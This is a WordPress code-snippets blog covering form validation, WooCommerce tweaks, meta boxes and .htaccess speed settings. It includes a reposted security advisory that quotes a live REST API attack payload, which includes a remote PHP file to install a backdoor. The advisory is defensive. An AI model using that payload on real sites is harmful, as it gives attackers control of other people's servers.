Showing posts with label wordpress. Show all posts
Showing posts with label wordpress. Show all posts

Contact Form 7 Custom Validations - Wordpress




If you wanted to add custom Validations for Contact from 7 fields, here is the code
 But the name we use in Wordpress back-end should match with $name in the below code. I added validations for URL, Zip and Phone number

 For Custom URL use "url" - [text* url]
 For Zip Code use "ZipCode" - [text* ZipCode]
 For Phone Number we can use "'PhoneNumber1', 'PhoneNumber2', 'PhoneNumber3', 'PhoneNumber4', 'PhoneNumber5', 'PhoneNumber6', 'PhoneNumber7'"  - [text* PhoneNumber1]



<?php

// URL Validations
function get_valid_url( $url ) {

    $reg_cond = "((https?|ftp)\:\/\/)?";
$reg_cond .= "(\?[a-z+&\$_.-][a-z0-9;:@&%=+\/\$_.-]*)?";
$reg_cond .= "(\:[0-9]{2,5})?";
    $reg_cond .= "([a-z0-9+!*(),;?&=\$_.-]+(\:[a-z0-9+!*(),;?&=\$_.-]+)?@)?";
    $reg_cond .= "([a-z0-9-.]*)\.([a-z]{2,3})";
    $reg_cond .= "(\/([a-z0-9+\$_-]\.?)+)*\/?";
    $reg_cond .= "(#[a-z_.-][a-z0-9+\$_.-]*)?";

    return preg_match("/^$reg_cond$/", $url);
}

function contact7_validations($result,$tag) {
$type = $tag['type'];
$name = $tag['name'];


if($type == 'text*' && $_POST[$name] == ''){
$result['valid'] = false;
$result['reason'][$name] = wpcf7_get_message( 'invalid_required' );
}



// Custom URL Validation
if($name == 'url') {
$url = $_POST['url'];

if($url != '') {
if(get_valid_url($url)){
$result['valid'] = true;
} else {
$result['valid'] = false;
$result['reason'][$name] = 'URL Entered is invalid.';
}
}
}


// Custom Zip Code Validation
if($name == 'ZipCode') {
$ZipCode = $_POST['ZipCode'];

if($ZipCode != '') {
if(!preg_match('/^[ABCEGHJKLMNPRSTVXY]{1}\d{1}[A-Z]{1} *\d{1}[A-Z]{1}\d{1}$/', $ZipCode)) {
if(!preg_match('/^\d{5}(-\d{4})?$/', $ZipCode)) {
$result['valid'] = false;
$result['reason'][$name] = 'Zipcode Entered is Invalid';
}
}
}
}

// Phone Validation

$PhoneNumber = array('PhoneNumber1', 'PhoneNumber2', 'PhoneNumber3', 'PhoneNumber4', 'PhoneNumber5', 'PhoneNumber6', 'PhoneNumber7');

foreach($PhoneNumber as $phoneValid) {
if($name == $phoneValid) {
$validPhone = $_POST[$phoneValid];

if($validPhone != '') {
if(preg_match('/^(?:1(?:[. -])?)?(?:\((?=\d{3}\)))?([2-9]\d{2})(?:(?<=\(\d{3})\))? ?(?:(?<=\d{3})[.-])?([2-9]\d{2})[. -]?(\d{4})(?: (?i:ext)\.? ?(\d{1,5}))?$/', $validPhone)
|| preg_match('/^([\+][0-9]{1,3}[\ \.\-])?([\(]{1}[0-9]{2,6}[\)])?([0-9\ \.\-\/]{3,20})((x|ext|extension)[\ ]?[0-9]{1,4})?$/', $validPhone)
&& strlen($validPhone) > 9
&& strlen($validPhone) < 30
&& (int)($validPhone)) {
} else {
$result['valid'] = false;
$result['reason'][$name] = 'Phone Number Entered is Invalid';
}
}
}
}


return $result;
}

//Filter For Text Field
add_filter('wpcf7_validate_text','contact7_validations', 10, 2);
add_filter('wpcf7_validate_text*', 'contact7_validations', 10, 2);
 ?>

Social media share links - Wordpress - Without plugin



To use social media share link in a wordpress site without the use of any plugin, follow the below steps.

This snippets is useful in lopps under posts or pages, by adding this code you can get the share icons under every posts and page.

Step 1:

Find "page.php", "index.php" and  "single.php"

In these 3 pages you will find a while loop, add the code below just before end while <?php endwhile; ?>


//  Delicious
<a rel="nofollow" href="http://delicious.com/post?url=<?php the_permalink(); ?>&amp;title=<?php echo urlencode(get_the_title($id)); ?>" title="Bookmark this post at Delicious">Bookmark at Delicious</a>

// Blinklist
<a rel="nofollow" href="http://blinklist.com/index.php?Action=Blink/addblink.php&amp;url=<?php the_permalink(); ?>&amp;Title=<?php echo urlencode(get_the_title($id)); ?>" title="Share this post on Blinklist" >Blink This!</a>

// Digg
<a rel="nofollow" href="http://digg.com/submit?phase=2&amp;url=<?php the_permalink(); ?>" title="Submit this post to Digg">Digg this!</a>

// Google Plus
<a rel="nofollow" href="https://plus.google.com/share?url=<?php the_permalink(); ?>" title="Share on Google Plus">Google Plus</a>

// StumbleUpon
<a rel="nofollow" href="http://www.stumbleupon.com/submit?url=<?php the_permalink(); ?>&amp;title=<?php echo urlencode(get_the_title($id)); ?>" title="Share this post at StumbleUpon">Stumble this!</a>

// Facebook
<a rel="nofollow" href="http://www.facebook.com/sharer.php?u=<?php the_permalink();?>&amp;t=<?php echo urlencode(get_the_title($id)); ?>" title="Share this post on Facebook">Share on Facebook</a>

// Twitter
<a rel="nofollow" href="http://twitter.com/home?status=<?php echo urlencode("Currently reading: "); ?><?php the_permalink(); ?>" title="Share this article with your Twitter followers">Tweet this!</a>

//  Furl
<a rel="nofollow" href="http://furl.net/storeIt.jsp?t=<?php echo urlencode(get_the_title($id)); ?>&amp;u=<?php the_permalink(); ?>" title="Share this post on Furl">Furl This!</a>

//  Reddit
<a rel="nofollow" href="http://reddit.com/submit?url=<?php the_permalink(); ?>&amp;title=<?php echo urlencode(get_the_title($id)); ?>" title="Share this post on Reddit">Share on Reddit</a>

Step 2:

you can replace the text with your custom icon

For Example

//  Reddit
<a rel="nofollow" href="http://reddit.com/submit?url=<?php the_permalink(); ?>&amp;title=<?php echo urlencode(get_the_title($id)); ?>" title="Share this post on Reddit">
<img src="http://http://wordpress-code-snippets.blogspot.com/images/reddit.png" alt="Reddit' />
</a>

Step 3:

Done!!


RCE Attempts Against the Latest WordPress REST API Vulnerability



We are starting to see remote command execution (RCE) attempts trying to exploit the latest WordPress REST API Vulnerability.

These RCE attempts started today after a few days of attackers (mostly defacers) rushing to vandalize as many pages as they could. The RCE attempts we are seeing in the wild do not affect every WordPress sites, only the ones using plugins that allow for PHP execution from within posts and pages.

Attacks in the Wild

The attackers in the wild are trying to exploit sites that have plugins like the Insert PHP (100k+ installs), Exec-PHP (100k+ installs) and similar installed plugins. These plugins, allow users to insert PHP code directly into the posts as a way to make customizations easier. Coupled with this vulnerability, it allows the attackers to execute PHP code when injecting their content into the database.

For example, this first campaign we are seeing is trying to inject a PHP include to content of different posts to see if it gets executed. This is the payload:

content:"[insert_php] include('http[:]//acommeamour.fr/tmp/xx.php'); [/insert_php]
[php] include('http[:]//acommeamour.fr/tmp/xx.php'); [/php]",
"id":"61a"}

It tries to leverage the format parsed by these plugins to include code from acommeamour.fr (likely a compromised site) and executes a malicious code to inject a backdoor into the file. In the current format, it downloads a FilesMan backdoor and hides it into /wp-content/uploads/

Monetization Strategy

First of all, if you have any of these plugins, we recommend disabling them. We believe that PHP code should be run within a plugin or theme. It should not be run directly from the posts.

Second, it seems attackers are starting to think of ways to monetize this vulnerability. Defacements don’t offer economic returns, so that will likely die soon. What will remain are attempts to execute commands (RCE) as it gives the attackers full control of a site – and offers multiple ways to monetize – and SPAM SEO / affiliate link / ad injections. We are starting to see them being attempted on a few sites, and that will likely be the direction this vulnerability will be misused in the coming days, weeks and possibly months.

Third – update to WordPress 4.7.2 now!

Websites behind the Sucuri Firewall are protected against this threat via Virtual Hardening / Patching.

Ref: https://blog.sucuri.net/

Top 5 useful woocommerce snippets




1) Custom currency symbol with settings in Woocommerce 

Copy the below code and paste it in your theme ->  function.php

<?php
add_filter( 'woocommerce_currencies', 'add_my_currency' ); function add_my_currency( $currencies ) {     $currencies['UG'] = __( 'Currency name', 'woocommerce' );     return $currencies;}
add_filter('woocommerce_currency_symbol', 'add_my_currency_symbol', 10, 2); function add_my_currency_symbol( $currency_symbol, $currency ) {     switch( $currency ) {         case 'UG': $currency_symbol = 'Ug'; break;     }     return $currency_symbol;}
?>

2) Display Cart Items with totals in your theme

Use the below code in your theme files.

<?php
global $woocommerce;
$qty = $woocommerce->cart->get_cart_contents_count();
$total = $woocommerce->cart->get_cart_total();
$cart_url = $woocommerce->cart->get_cart_url();
?>

<div class="quantinty"><?php echo $qty; ?></div>
<div class="totals"><?php echo $total; ?></div>

<a class="cart_items" href="<?php echo $cart_url ?>">
<?php echo sprintf (_n( '%d item', '%d items', $qty ), $qty; ?> -
<?php echo $total ?> </a>

3) Custom country to the list

Copy the below code and paste it in your theme ->  function.php

<?php
function custom_country( $country ) {
$country["BV"] = 'Bouvet Island';
     return $country;
}
add_filter( 'woocommerce_countries', 'custom_country', 10, 1 );
?>

4) Replace add to cart button text

Copy the below code and paste it in your theme ->  function.php

<?php
//1. For Single Page
add_filter( 'woocommerce_product_single_add_to_cart_text', 'woo_custom_cart_button_text' );
function woo_custom_cart_button_text() {
return __( 'Custom Text', 'woocommerce' );
 }

//2. For Loop Page
add_filter( 'woocommerce_product_add_to_cart_text', 'woo_loop_custom_cart_button_text' );
function woo_loop_custom_cart_button_text() {
return __( 'Custom Text', 'woocommerce' );
}
?>

5) Complete list of Shortcodes

Cart: [woocommerce_cart]
Checkout: [woocommerce_checkout]
Order Tracking: [woocommerce_order_tracking]
My Account: [woocommerce_my_account]

Recent Products: [recent_products per_page="8" columns="2"]
Featured Products: [featured_products per_page="8" columns="2"]
Single Product: [product id="1254"]

Multiple Products: [products ids="2544, 2555, 34785, 4144, 5547"]
Add to cart  Button of a single Product: [add_to_cart id="1254"]
Add to cart  URL of a single Product: [add_to_cart_url id="1254"]
Product Category:[product_category category="catname"]

Single page of a Product: [product_page id="1254"]

Sale Products: [sale_products per_page="8"]
Best-Selling Products: [best_selling_products per_page="8"]
Related Products: [related_products per_page="8"]
Top Rated Products: [top_rated_products per_page="8"]

Woocommerce - Set Minimum quantity for products in cart

Restricting user to buy minimum quantity for products in woo-commerce is a pretty cool thing, we can achieve it by following the below steps

Step1:

1. Collect the product ids for which you wanted to restrict the quantity during checkout, store them in a array

<?php
$pd_min_quantity= array( 
array( 'id' => 3587, 'min' => 99),
array( 'id' => 2554, 'min' => 87),
array( 'id' => 5587, 'min' => 52),
array( 'id' => 4488, 'min' => 40),
       array( 'id' => 2555, 'min' => 80),
);
?>

Step2:

Add Following code to your themes - > functions.php

Note: don't forget to update your product ids and quantity 

<?php
add_action( 'woocommerce_check_cart_items', 'restrict_product_quantity' );
function restrict_product_quantity() {
if( is_cart() || is_checkout() ) {
global $woocommerce;

$pd_min_quantity= array(
array( 'id' => 3587, 'min' => 99),
array( 'id' => 2554, 'min' => 87),
array( 'id' => 5587, 'min' => 52),
array( 'id' => 4488, 'min' => 40),
       array( 'id' => 2555, 'min' => 80),
);

$i = 0;
$odd_prod = array();

foreach( $woocommerce->cart->cart_contents as $pd_cart ) {
foreach( $pd_min_quantity as $pd_quantity ) {
if( $pd_quantity['id'] == $pd_cart['product_id'] ) {
if( $pd_cart['quantity'] < $pd_quantity['min'] ) {
$odd_prod[$i]['id'] = $pd_cart['product_id'];
$odd_prod[$i]['in_cart'] = $pd_cart['quantity'];
$odd_prod[$i]['min_req'] = $pd_quantity['min'];
}
}
}
$i++;
}

if( is_array( $odd_prod) && count( $odd_prod ) > 1 ) {
$message = '<strong>Minimum quantity per product should be added.</strong><br />';
foreach( $odd_prod as $odd_prods ) {
$message .= get_the_title( $odd_prods['id'] ) .' requires a minimum quantity of '
. $odd_prods['min_req'] 
.'. You currently have: '. $odd_prods['in_cart'] .'.<br />';
}
wc_add_notice( $message, 'error' );
}
}
}

?>

Step3:

Done!!

Woocommerce - Restrict user to add products into cart with particular combination

In Woocommerce if we need to Restrict user to add products  into cart  with  particular combination, we have to follow few steps.

<?php

// Step1: 

function aelia_get_cart_contents() {
  $cart_contents = array();
  $cart = WC()->session->get( 'cart', null );
   if ( is_null( $cart ) && ( $saved_cart = get_user_meta( get_current_user_id(), '_woocommerce_persistent_cart', true ) ) ) {
    $cart = $saved_cart['cart'];
  } elseif ( is_null( $cart ) ) {
    $cart = array();
  }

  if ( is_array( $cart ) ) {
    foreach ( $cart as $key => $values ) {
      $_product = wc_get_product( $values['variation_id'] ? $values['variation_id'] : $values['product_id'] );

      if ( ! empty( $_product ) && $_product->exists() && $values['quantity'] > 0 ) {
        if ( $_product->is_purchasable() ) {
         $session_data = array_merge( $values, array( 'data' => $_product ) );
          $cart_contents[ $key ] = apply_filters( 'woocommerce_get_cart_item_from_session', $session_data, $values, $key );
        }
      }
    }
  }
  return $cart_contents;
}

// Step2:

add_action('wp_loaded', function() {
    if(!is_object(WC()->session)) {
    return;
  }

  global $allowed_cart_items;
  // I am adding products with ID 5395,5138,5046,5137,5134,5133,5131 as a combination.
  global $restricted_cart_items;
  $restricted_cart_items = array(5395,5138,5046,5137,5134,5133,5131);

  foreach(aelia_get_cart_contents() as $item) {
    if(in_array($item['data']->id, $restricted_cart_items)) {
      $allowed_cart_items[] = $item['data']->id;
    }
  }

  // Step3:

  add_filter('woocommerce_is_purchasable', function($is_purchasable, $product) {
    global $restricted_cart_items;
    global $allowed_cart_items;

    if(!empty($allowed_cart_items)) {
           $is_purchasable = in_array($product->id, $allowed_cart_items) || in_array($product->id, $restricted_cart_items);
    }
    return $is_purchasable;
  }, 10, 2);
}, 10);

// Step4

add_filter('woocommerce_get_price_html', function($price_html, $product) {
  if(!$product->is_purchasable() && is_product()) {
    $price_html .= '<p>' . __('<h3 style="font-weight:bold;">This product cannot be added to cart  with the combination of  <span style="color:#d06569">Product / Category Name</span>. Remove other items from cart and try purchasing it.</h3>', 'woocommerce') . '</p>';
  }
  return $price_html;
}, 10, 2);

// Step5

// Done!!
?>

How to Create Custom Meta box in Wordpress

To create a Custom Meta box in wordpress follow below steps

Step1: Add this to your theme "functions.php"

<?php

define('MY_WORDPRESS_FOLDER',$_SERVER['DOCUMENT_ROOT']);
define('MY_THEME_FOLDER',str_replace('\\','/',dirname(__FILE__)));
define('MY_THEME_PATH','/' . substr(MY_THEME_FOLDER,stripos(MY_THEME_FOLDER,'wp-content')));

add_action('admin_init','my_meta_init');

function my_meta_init()
{
wp_enqueue_style('my_meta_css', MY_THEME_PATH . '/custom/meta.css');

foreach (array('post','page') as $type)
{
add_meta_box('my_all_meta', 'My Custom Meta Box', 'my_meta_setup', $type, 'normal', 'high');
}

add_action('save_post','my_meta_save');
}

function my_meta_setup()
{
global $post;

$meta = get_post_meta($post->ID,'_my_meta',TRUE);

include(MY_THEME_FOLDER . '/custom/meta.php');

echo '<input type="hidden" name="my_meta_noncename" value="' . wp_create_nonce(__FILE__) . '" />';
}

function my_meta_save($post_id)
{
if (!wp_verify_nonce($_POST['my_meta_noncename'],__FILE__)) return $post_id;

if ($_POST['post_type'] == 'page')
{
if (!current_user_can('edit_page', $post_id)) return $post_id;
}
else
{
if (!current_user_can('edit_post', $post_id)) return $post_id;
}

$current_data = get_post_meta($post_id, '_my_meta', TRUE);

$new_data = $_POST['_my_meta'];

my_meta_clean($new_data);

if ($current_data)
{
if (is_null($new_data)) delete_post_meta($post_id,'_my_meta');
else update_post_meta($post_id,'_my_meta',$new_data);
}
elseif (!is_null($new_data))
{
add_post_meta($post_id,'_my_meta',$new_data,TRUE);
}

return $post_id;
}

function my_meta_clean(&$arr)
{
if (is_array($arr))
{
foreach ($arr as $i => $v)
{
if (is_array($arr[$i]))
{
my_meta_clean($arr[$i]);

if (!count($arr[$i]))
{
unset($arr[$i]);
}
}
else
{
if (trim($arr[$i]) == '')
{
unset($arr[$i]);
}
}
}

if (!count($arr))
{
$arr = NULL;
}
}
}

?>

Woocommerce - Display Notifications


Display notification in Woocommerce when a user checkouts a product.

Here is the code

1. We need get the order count 

<?php

global $woocommerce;

$order_count = wc_get_customer_order_count( $current_user->ID );
if($order_count>=1) { ?>
<div class="quantity"><?php echo $order_count; ?></div>
<?php } ?>

2. Alright!!
We got our order count, but we should allow user to show his notifications only when logged in. So we have to restrict user.

<?php if ( is_user_logged_in() ) { // If user logged in  ?>
<a href="URL">Show Notifications</a> // "URL" Add your Notifications Page URL
<?php }
 else { // If user not logged in , We will Navigate him to My account page ?>
 <a href="<?php echo get_permalink( get_option('woocommerce_myaccount_page_id') ); ?>">Show Notifications</a>
 <?php } ?>

3. Finally!! 

We have to display all the order details in the notifications page.


<ul class="notifications">
<?php
$customer_orders = get_posts( array(
    'numberposts' => -1, // No of notifications to display
    'meta_key'    => '_customer_user', // Meta Key to get customer details
    'meta_value'  => get_current_user_id(),
    'post_type'   => wc_get_order_types(),
    'post_status' => array_keys( wc_get_order_statuses() ),
) );

foreach($customer_orders as $customer_order)
{
echo "<li>"; ?>

<a href="<?php bloginfo('url'); ?>/my-account/view-order/<?php echo $customer_order->ID; ?>"> <?php echo $customer_order->post_title; ?> </a>
<?php
if($customer_order->post_status == "wc-cancelled"){$orderclass = "alert-danger";}else {$orderclass = "alert-info";} // We can add some styles by adding a dynamic class based on the order status, "$orderclass" is the class varaiable ?>
<span class="<?php echo $orderclass; ?>"> <?php  echo  $customer_order->post_status; ?> </span>

<?php echo "</li>"; } ?>

</ul>

4. Done!!


WooCommerce - Display Cart Itmes Count with Cost.

If you wanted to display Cart items and total cost for individual user, use this code below

<?php
global $woocommerce;
// cart quantity
$qty = $woocommerce->cart->get_cart_contents_count();
// cart total
$total = $woocommerce->cart->get_cart_total();
// cart url
$cart_url = $woocommerce->cart->get_cart_url();
?>

<?php
// To Display Cart Quantity
if($qty>=1) { ?>
<div class="quantinty"><?php echo $qty; ?></div>
<?php } ?>

<?php
//To Display Total Cost
if($qty>=1)
echo '<span> '.$total.'</span>'; else { ?>
<span>Cart is Empty</span>
<?php } ?>

Wordpress Gzip Compression :: Page Speed

Here i have some basic information about Gzip Compression  for a website, This is a method which is used to reduce 65%  page size of your website.

Main advantage of Gzip Compression is:

Browsers checks for the Gzip availability in your website, if enabled server sends the encoded Gzip content to browser for rendering, which makes our website load faster then loading a normal webpage.

Add this code in your .htaccess file.

<ifModule mod_gzip.c>
mod_gzip_on Yes
mod_gzip_dechunk Yes
mod_gzip_item_include file .(html?|txt|css|js|php|pl)$
mod_gzip_item_include handler ^cgi-script$
mod_gzip_item_include mime ^text/.*
mod_gzip_item_include mime ^application/x-javascript.*
mod_gzip_item_exclude mime ^image/.*
mod_gzip_item_exclude rspheader ^Content-Encoding:.*gzip.*
</ifModule>

Wordpress Output Compression : Page speed

While cheeking your page speed in google insights you may come across an error "Enable Output Compression".

Here is the simple code to fix this error, add this code in your .htaccess file.

<IfModule mod_deflate.c>
AddOutputFilterByType DEFLATE text/plain
AddOutputFilterByType DEFLATE text/html
AddOutputFilterByType DEFLATE text/xml
AddOutputFilterByType DEFLATE text/css
AddOutputFilterByType DEFLATE application/xml
AddOutputFilterByType DEFLATE application/xhtml+xml
AddOutputFilterByType DEFLATE application/rss+xml
AddOutputFilterByType DEFLATE application/javascript
AddOutputFilterByType DEFLATE application/x-javascript
AddOutputFilterByType DEFLATE application/x-httpd-php
AddOutputFilterByType DEFLATE application/x-httpd-fastphp
AddOutputFilterByType DEFLATE image/svg+xml
</IfModule>


Add a Download link or button after filling the contact from 7 using jQuery in wordpress

Step1:

1. Install "Contact From 7" WordPress plugin

Step2:

1. Create a from Dashboard - > Contact from 7 - > Add New
2. Copy the Short-code example:

[contact-form-7 id="658" title="Contact Form"]

Note: Change the short-code with yours

Step3:

1. Add Short-code to your page where you wanted to display your Contact from.
2. Inspect your page and you can find an div with id above the from which looks like

<div role="form" class="wpcf7" id="wpcf7-f656-o1" lang="en-US" dir="ltr">

Step4:

1. Save the ID , we will  use it as jQuery selector.

Now here comes the script

Before adding this script check weather you have included the jQuery Library before your script

<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>

// Ignore this if you have included the library.

<script>

$(document).ready(function() {

$downloadurl =  "http://www.webiste.com/download.pdf"; 

// File to be downloaded
// you can add this url dynimcally if you have multiple forms in different pages using ACF plugin

$('#wpcf7-f656-o1').find('.wpcf7-submit').on("click", function(){ 

// on Click of Submit button
// #wpcf7-f656-o1 is my form id which we copied earlier, use your id here

setTimeout(function()
{

if($('.wpcf7-response-output').hasClass('wpcf7-mail-sent-ok'))
{
$('.wpcf7-form').prepend("<a href="+$downloadurl+" class='download_link' target='_blank'>Download Pdf</a>");

$('.download_link').on("click", function(){

// To reload the page after downlading the file to reset the from for next download.

location.reload(true);
});
}
},2000)

// Timeout for 2 seconds

});
});

</script>


Get All WordPress Navigation Menus list

If you are trying to create a new options in metaboxes oo in theme options to get all the wordpress menu list.Use the Below code.

<?php
$display_menus = get_terms( 'nav_menu' );
foreach($display_menus as $menu)
{
echo $menu->name;
}
?>

!Important Update Your All in One SEO Pack WordPress Plugin Now

All wordpress sites are getting hacked for the users who are using older version of  " All in One Seo Plugin".  The code in the plugin had couple of security issues that enabled hackers to:
(1) Conduct privilege escalation
(2) Cross site scripting (XSS) attacks
So to Protect your Website Update to latest version Now

How to reduce your site load time in WordPress?

By using different plugins, adding larger number of scripts in your theme and using larger images may lead in increasing the site load time. To avoid this we need to follow few steps.

1.Check your Hosting quality.
2.Use sprites for background images in Css.
3.Use Best and quality plugins.
4.Try to reduce external scripts running on the site.
5.Keep you custom scripts in footer.php.
6.Keep you main style sheet at top of all scripts and links.

Finally us this code, Paste this code in your site ".htaccess".

<IfModule mod_expires.c>
    ExpiresActive On
    ExpiresByType text/html M3600
    ExpiresByType text/css M3600
    ExpiresByType application/x-javascript M3600
    ExpiresByType image/bmp M3600
    ExpiresByType image/gif M3600
    ExpiresByType image/x-icon M3600
    ExpiresByType image/jpeg M3600
</IfModule>

<IfModule mod_deflate.c>
    AddOutputFilterByType DEFLATE text/html text/css application/x-javascript text/plain text/xml image/x-icon
</IfModule>

(Note: Backup up your .htaccess )

How to Assign Category to a Post Automatically

Copy and Paste the Below code in you theme functions.php.

 function auto_add_category ($post_id = 0) {
     if (!$post_id) return;
     $tag_categories = array ( //  add multiple items as shown 'Tag Name' => 'Categroy Name'
       'toys' => 'Kids',
       'apple' => 'Fruits',
     );
     $post_tags = get_the_tags($post_id);
     foreach ($post_tags as $tag) {
       if ($tag_categories[$tag->name] ) {
         $cat_id = get_cat_ID($tag_categories[$tag->name]);
         if ($cat_id) {
           $result =  wp_set_post_terms( $post_id, $tags = $cat_id, $taxonomy = 'category', $append = true );
         }
       }
     }
   }
add_action('publish_post','auto_add_category');
?>

Add SSL Secure to Specific Page

HTTPS (Secure Hypertext Transfer Protocol) is used instead of HTTP top protect your webpage, If your website has payment transactions with a 3rd party payment gateway like "Authorize.Net, Paypal.."

I recommend you to activate HTTPS for Better Protection.

To have HTTPS, SSL Certificate is needed to be installed on your server.
Activating SSL on your specific pages, Just copy and paste the below code in your themes functions.php 

function wordpress_ssl( $wp_ssl, $post_id = 0, $url = '' ) {
    if ( $post_id == 25 ) { // change your page ID here
        return true;
    }
    return $wp_ssl;
}
add_filter('wp_ssl' , 'wordpress_ssl', 10, 3);

Display Posts for Specific Category

Normally WordPress default functionality display all posts of all category, But if we need to display only posts of certain or one category, Use the below code.

Replace '2' with your Category id.

<?php query_posts('cat=2'.'&orderby=date&order=asc'); ?> // 2 is the Category id

<?php while (have_posts()) : the_post(); ?>

<h2><?php the_title(); ?></h2>

<?php the_content(); ?>

<?php endwhile; ?>

Disable Admin panel link for users

If your website has multiple users with different roles, We can disable Admin link to users other then admin using below code.

Copy and Paste Below code in your Theme's 'function.php'

<?php if (current_user_can("manage_options")) : ?>
       <a href="<?php echo bloginfo('url') ?>/wp-admin/">Admin</a>
<?php endif; ?>

How to Create Custom Posts without using plugins

Step1: Copy and paste the Below code in your theme "function.php". Here i am using this code to create Cusotm Post for "Testimonials", We can Rename it as required

<?php add_action('init', 'testimonials_init');
function testimonials_init()
{
    $feature_labels = array(
        'name' => _x('Testimonials', 'post type general name'), // Name which displays in dashboard
        'singular_name' => _x('Testimonial', 'post type singular name'),
        'all_items' => __('All Testimonials'),
        'add_new' => _x('Add new Testimonial', 'director'),
        'add_new_item' => __('Add new Testimonial'),
        'edit_item' => __('Edit Testimonial'),
        'new_item' => __('New Testimonial'),
        'view_item' => __('View Testimonial'),
        'search_items' => __('Search in Testimonial'),
        'not_found' =>  __('No Testimonial found'),
        'not_found_in_trash' => __('No Testimonial found in trash'),
        'parent_item_colon' => ''
    );
    $args = array(
        'labels' => $feature_labels,
        'public' => true,
        'publicly_queryable' => true,
        'show_ui' => true,
        'query_var' => true,
        'rewrite' => true,
        'capability_type' => 'post',
        'hierarchical' => false,
        'menu_position' => 5,
        'supports' => array('title', 'editor','thumbnail'), //  Delete this if thumbnail is not required
        'has_archive' => 'testimonial'
    );
    register_post_type('testimonial',$args); // Post type ID
}
?>

Step2: Copy  and paste this code in your Template to display posts  
Note: Change "post_type=testimonial" if you changed it in the above code

<?php
$my_query = new WP_Query('post_type=testimonial&posts_per_page=-1'); // "-1" describs to display all posts , You can Restrict posts by using positive values
while ($my_query->have_posts()) : $my_query->the_post();
?>
 <h2><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2> // Post Title
<div class="thumbnail">
<?php the_post_thumbnail();?> // Post Thumbnail
</div>
<div class="entry">
      <?php the_content(); ?> // Post Content
    </div>
<?php endwhile; ?>